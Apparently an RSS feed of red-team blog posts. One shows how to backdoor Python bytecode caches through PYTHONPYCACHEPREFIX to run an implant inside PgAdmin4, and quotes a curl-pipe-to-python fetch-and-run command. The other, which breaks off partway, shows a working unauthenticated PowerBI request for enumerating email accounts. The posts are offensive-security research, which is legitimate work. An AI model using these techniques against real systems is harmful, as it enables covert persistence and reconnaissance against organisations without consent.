<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Offsec on SRA Labs | Cybersecurity Research &amp; Innovation by Security Risk Advisors</title>
    <link>https://labs.sra.io/tags/offsec/</link>
    <description>Recent content in Offsec on SRA Labs | Cybersecurity Research &amp; Innovation by Security Risk Advisors</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 02 Jun 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://labs.sra.io/tags/offsec/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Abusing PYTHONPYCACHEPREFIX</title>
      <link>https://labs.sra.io/posts/pythonpycacheprefix/</link>
      <pubDate>Tue, 02 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/pythonpycacheprefix/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I&amp;rsquo;m reminded of &lt;a href=&#34;https://trustedsec.com/blog/operating-inside-the-interpreted-offensive-python&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use &lt;code&gt;ctypes&lt;/code&gt; for running unmanaged code. Commercial offensive tooling vendors like &lt;a href=&#34;https://x.com/BallisKit/status/1848398358164971999&#34; target=&#34;_blank&#34;&gt;Balliskit&lt;/a&gt; support Python payloads, and there are even full C2 implants built with it (&lt;a href=&#34;https://github.com/MythicAgents/Medusa&#34; target=&#34;_blank&#34;&gt;Medusa&lt;/a&gt;, &lt;a href=&#34;https://github.com/naksyn/Pyramid&#34; target=&#34;_blank&#34;&gt;Pyramid&lt;/a&gt;, &lt;a href=&#34;https://github.com/nettitude/poshc2&#34; target=&#34;_blank&#34;&gt;PoshC2&lt;/a&gt;).&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I&amp;rsquo;m reminded of &lt;a href=&#34;https://trustedsec.com/blog/operating-inside-the-interpreted-offensive-python&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use &lt;code&gt;ctypes&lt;/code&gt; for running unmanaged code. Commercial offensive tooling vendors like &lt;a href=&#34;https://x.com/BallisKit/status/1848398358164971999&#34; target=&#34;_blank&#34;&gt;Balliskit&lt;/a&gt; support Python payloads, and there are even full C2 implants built with it (&lt;a href=&#34;https://github.com/MythicAgents/Medusa&#34; target=&#34;_blank&#34;&gt;Medusa&lt;/a&gt;, &lt;a href=&#34;https://github.com/naksyn/Pyramid&#34; target=&#34;_blank&#34;&gt;Pyramid&lt;/a&gt;, &lt;a href=&#34;https://github.com/nettitude/poshc2&#34; target=&#34;_blank&#34;&gt;PoshC2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;However, running PowerShell to install Python or even dropping arbitrary Python files to disk can be a risky endeavor within a well-hardened environment. We can do better.&lt;/p&gt;
&lt;h1 id=&#34;lotl&#34;&gt;LOTL&lt;/h1&gt;
&lt;p&gt;A few years back, I was performing a red team engagement against an exceptionally well-hardened environment. They&amp;rsquo;re a client we&amp;rsquo;ve worked with for a long time, and they&amp;rsquo;ve taken all of our recommendations very seriously. Much to their benefit, and the loss of my sanity, the end user workstations had become about as well hardened as any reasonable enterprise could achieve. Tuned EDR, full allowlisting via WDAC, the works. Desperate and racking my brain for something novel, I started going through the applications available within the company portal. After pulling PgAdmin4 and looking through the assets that get installed, I noticed that a portable Python runtime was included.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;pgadmin4.png&#34;  alt=&#34;A portal Python runtime&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This alone is a huge boon when fighting against EDR: executing directly from a trusted process in a trusted location. But we still need a means to actually load a payload. We could drop a file to disk and execute, but static file analysis very well may get you caught. You could obfuscate, but then you&amp;rsquo;ve got to deal with entropy checks. You could also just invoke Python directly, dynamically loading the payload a la &lt;code&gt;curl https://example.com/payload.py | .\python.exe&lt;/code&gt;. This obviously has all kinds of drawbacks related to cmd/PowerShell telemetry.&lt;/p&gt;
&lt;h1 id=&#34;pythonpycacheprefix&#34;&gt;PYTHONPYCACHEPREFIX&lt;/h1&gt;
&lt;p&gt;The Python3 runtime can be controlled in a number of ways, primarily through command line arguments and environment variables. You can find them documented &lt;a href=&#34;https://docs.python.org/3/using/cmdline.html&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;. As the title suggests, we&amp;rsquo;ll be looking at the &lt;code&gt;PYTHONPYCACHEPREFIX&lt;/code&gt; environment variable. From the docs:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If this is set, Python will write &lt;code&gt;.pyc&lt;/code&gt; files in a mirror directory tree at this path, instead of in &lt;code&gt;__pycache__&lt;/code&gt; directories within the source tree. This is equivalent to specifying the -X &lt;code&gt;pycache_prefix=PATH&lt;/code&gt; option.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lets set this var to something we have write-access to. In this case: an AppData subdirectory.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;env_var.png&#34;  alt=&#34;Setting the PYTHONPYCACHEPREFIX env var&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;When launching the app, you&amp;rsquo;ll see a number of new directories and &lt;code&gt;.pyc&lt;/code&gt; files have been created.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;cache_files_0.png&#34;  alt=&#34;Cache files created&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;



  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;cache_files_1.png&#34;  alt=&#34;Cache files created&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;h1 id=&#34;generating-python-bytecode&#34;&gt;Generating Python Bytecode&lt;/h1&gt;
&lt;p&gt;Now we have a primitive for obtaining write-access to a trusted process&amp;rsquo;s files. The next step is to weaponize it. This will involve backdooring the &lt;code&gt;.pyc&lt;/code&gt; files themselves. These files can be dynamically created by using the &lt;code&gt;py_compile&lt;/code&gt; native module (docs &lt;a href=&#34;https://docs.python.org/3/library/py_compile.html#&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;). Importantly, as we&amp;rsquo;re compiling to bytecode, the Python release we&amp;rsquo;re using to generate these files needs to exactly match the environment we&amp;rsquo;re targetting. For PgAdmin4 v9.11.1, this is Python 3.13.9.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re not familiar with Python, the &lt;code&gt;___init.py___&lt;/code&gt; file is a special initialization file that&amp;rsquo;s invoked when a package is imported. Given its ubiquitous use, this makes it a great backdoor candidate. For our POC, we&amp;rsquo;re going to create a simple canary file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Temp/canary.txt&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;w&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;chirp&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can then compile this into a &lt;code&gt;.pyc&lt;/code&gt; file with the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; py_compile &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; compile, PycInvalidationMode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infile &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Users/titan/Desktop/example.py&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outfile &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Users/titan/Desktop/__init__.pyc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;compile(infile, cfile&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;outfile, invalidation_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;PycInvalidationMode&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;UNCHECKED_HASH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An important bit here is the &lt;code&gt;PycInvalidationMode.UNCHECKED_HASH&lt;/code&gt; invalidation mode. This tells the Python runtime to always respect the cache file, even if the original &lt;code&gt;.py&lt;/code&gt; file has been modified. This ensures the malicious &lt;code&gt;.pyc&lt;/code&gt; persists. Now if we drop this file into the cache directory and reload the PgAdmin4 app, the canary file will be created. This will cause the app to just crash, but that&amp;rsquo;s not surprising.&lt;/p&gt;
&lt;p&gt;Fully weaponizing this is fairly trivial. All we have to do is grab the original &lt;code&gt;___init__.py&lt;/code&gt; file, add our malicious code, and recompile. To target the &lt;code&gt;pycache/Program Files/pgAdmin 4/web/pgadmin/__init__.cpython-313.pyc&lt;/code&gt; cache file, we can pull the original from &lt;code&gt;C:/Program Files/pgAdmin 4/web/pgadmin/__init__.py&lt;/code&gt;. Drop your malicious code right after the &lt;code&gt;import&lt;/code&gt; statements, recompile, drop to disk, et voilà: you now have an implant executing within the context of the parent PgAdmin4 process.&lt;/p&gt;
&lt;h1 id=&#34;a-note-on-pgadmin4-v9112&#34;&gt;A Note on PgAdmin4 v9.11.2+&lt;/h1&gt;
&lt;p&gt;I&amp;rsquo;ve used this technique across several engagements at this point; it&amp;rsquo;s a surprisingly common app to find within a company portal. However, when going to write this blog, I noticed that PgAdmin4 no longer writes the bytecode files to the expected location. This seems to have started with v9.11.2, which released in Feb 2026. The previous version, v9.11.1, and all other versions I&amp;rsquo;ve tried this against, work as intended. Discussing with a coworker, it appears this &lt;a href=&#34;https://github.com/pgadmin-org/pgadmin4/commit/6000cc0fb40971a9dd36c47e1eeb3b9bb6f7d2a3#diff-a44253f1e401f8e72af47caf141650994eedac28838375600d23abf3e812aa5aR233-R234&#34; target=&#34;_blank&#34;&gt;commit&lt;/a&gt; introduced a &amp;ldquo;macOS fix&amp;rdquo; which disables bytecode generation. Ironically enough, this was enabled by using a different Python env var: &lt;code&gt;PYTHONDONTWRITEBYTECODE&lt;/code&gt;. We can confirm this by pulling up the server log:&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;pythondontwritebytecode.png&#34;  alt=&#34;PYTHONDONTWRITEBYTECODE enabled&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;But not all hope is lost. As the env var name suggests, this only disables &lt;em&gt;writing&lt;/em&gt; bytecode and not &lt;em&gt;reading&lt;/em&gt; bytecode. To verify this, I modified &lt;code&gt;C:/Program Files/pgAdmin 4/runtime/resources/app/src/js/pgadmin.js&lt;/code&gt;, commenting out the &lt;code&gt;process.env.PYTHONDONTWRITEBYTECODE = &#39;1&#39;;&lt;/code&gt; line. Restarting the app generated the bytecode, and I created the same &lt;code&gt;___init__.cpython-313.pyc&lt;/code&gt; POC as before. After restoring the &lt;code&gt;PYTHONDONTWRITEBYTECODE&lt;/code&gt; env var and restarting the app, the canary file was successfully created.&lt;/p&gt;
&lt;p&gt;On a live engagement, you won&amp;rsquo;t be able to modify the &lt;code&gt;pgadmin.js&lt;/code&gt; file to entice the bytecode generation. However, you could do this on a machine you control and then push all the cache files onto the target machine. You could also opt to only drop the single malicious &lt;code&gt;.pyc&lt;/code&gt; file. An EDR likely won&amp;rsquo;t care whether there is a single &lt;code&gt;.pyc&lt;/code&gt; or an entire directory tree&amp;rsquo;s worth, but this may stand out to an adept incident response team.&lt;/p&gt;
&lt;h1 id=&#34;on-other-applications&#34;&gt;On Other Applications&lt;/h1&gt;
&lt;p&gt;To be clear: this primitive is not specific to PgAdmin4. Any application that bundles or otherwise invokes a Python runtime from a user context could be exploited this way. A cursory glance shows that Sublime Text and GIMP use Python for plugin support. Alternatively, a Python developer and all their tooling could be targetted this way, including JupyterLabs Desktop. As long as the target cache file maps to a file that is regularly executed by the user, it can be used as a means of peristence.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>{&#34;accountExists&#34;: true} User Enumeration with PowerBI</title>
      <link>https://labs.sra.io/posts/powerbi_enum/</link>
      <pubDate>Tue, 19 May 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/powerbi_enum/</guid>
      <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like &lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt; and &lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt; are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt; or a &lt;code&gt;404/500&lt;/code&gt;, which can be used to enumerate valid email addresses for a given organization.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;As adversaries, we&amp;rsquo;re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like &lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt; and &lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt; are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt; or a &lt;code&gt;404/500&lt;/code&gt;, which can be used to enumerate valid email addresses for a given organization.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;As adversaries, we&amp;rsquo;re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.&lt;/p&gt;
&lt;p&gt;During a red team, we needed a reliable way to enumerate users in a large Microsoft Entra environment that had tenants configured with both Managed and Federated domains. However, the existing options weren&amp;rsquo;t cutting it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt;&lt;/strong&gt; required authentication to get reliable results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt;&lt;/strong&gt; was returning hits on deprovisioned or inactive accounts, making results noisy and unreliable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MS Graph-based techniques&lt;/strong&gt; had changed behavior, either not returning correct results, limited to only managed tenants, or requiring an actual authentication attempt to determine account validity, which risks triggering Smart Lockout or spray detection rules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We needed something that was unauthenticated, low-noise, and accurate.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;finding-the-endpoint&#34;&gt;Finding the Endpoint&lt;/h2&gt;
&lt;p&gt;To start, we leaned on prior research. My colleague Dave Parillo (&lt;a href=&#34;https://x.com/coffeebearsec_&#34; target=&#34;_blank&#34;&gt;@coffeebearsec&lt;/a&gt;) and I had previously done work on PowerBI that we called &lt;strong&gt;&lt;a href=&#34;https://sra.io/blog/letitgo-a-case-study-in-expired-domains-and-azure-ad/&#34; target=&#34;_blank&#34;&gt;LetItGo&lt;/a&gt;&lt;/strong&gt;, where we found that under the right tenant conditions (specifically, if self-service signup was enabled and an expired-but-configured domain was available), you could get PowerBI to create a new account for you in the target tenant without credentials.&lt;/p&gt;
&lt;p&gt;Taking a similar approach, we started digging into the PowerBI authentication flow more broadly. PowerBI and its sibling platforms, Microsoft Fabric and Power BI Embedded, are notable in that they&amp;rsquo;re the only Microsoft services (that we&amp;rsquo;ve found) that maintain their own branded pre-auth entry point (&lt;code&gt;/singleSignOn&lt;/code&gt;) rather than handing off directly to &lt;code&gt;login.microsoftonline.com&lt;/code&gt;. This means they have their own pre-authentication logic, and that logic needs to resolve account state before it knows where to send you.&lt;/p&gt;
&lt;p&gt;Digging into the API calls made during that flow, we found that all three make use of this endpoint:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;POST https://api.powerbi.com/AADRedirect/public/email/accountStatus
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;{&amp;#34;emailAddress&amp;#34;: &amp;#34;target@organization.com&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Only the email address of the target organization is required.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;the-response&#34;&gt;The Response&lt;/h2&gt;
&lt;p&gt;The response from this API couldn&amp;rsquo;t be cleaner from an enumeration perspective.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Valid Account (&lt;code&gt;200 OK&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;OK&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/json; charset=utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;42&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;a25c8c51-a67a-460f-984e-cfe6685237c9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;accountExists&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Invalid Account (&lt;code&gt;404 Not Found&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;404&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Not Found&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/octet-stream&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;d19f8666-fded-4e3c-9973-cf1b11383580&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;[&lt;/span&gt;empty body&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nonexistent Organization (&lt;code&gt;500 Internal Server Error&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;500&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Internal Server Error&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/json; charset=utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;128&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;b265cd37-d2c1-4a2a-b148-1fedb0df31f9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;:{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;AADEmailAccountStatusFailed&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;pbi.error&amp;#34;&lt;/span&gt;:{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;AADEmailAccountStatusFailed&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;parameters&amp;#34;&lt;/span&gt;:{},&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;:[]}}}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The signal is a combination of HTTP status code and body&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A valid account gets a &lt;code&gt;200&lt;/code&gt; with &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An invalid account gets a &lt;code&gt;404&lt;/code&gt; with no body and a content type of &lt;code&gt;application/octet-stream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An account with an org that doesn&amp;rsquo;t exist gets a &lt;code&gt;500&lt;/code&gt; with &lt;code&gt;{&amp;quot;error&amp;quot;:...}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;using-it-in-practice&#34;&gt;Using It in Practice&lt;/h2&gt;
&lt;p&gt;The simplest possible test:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Valid user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
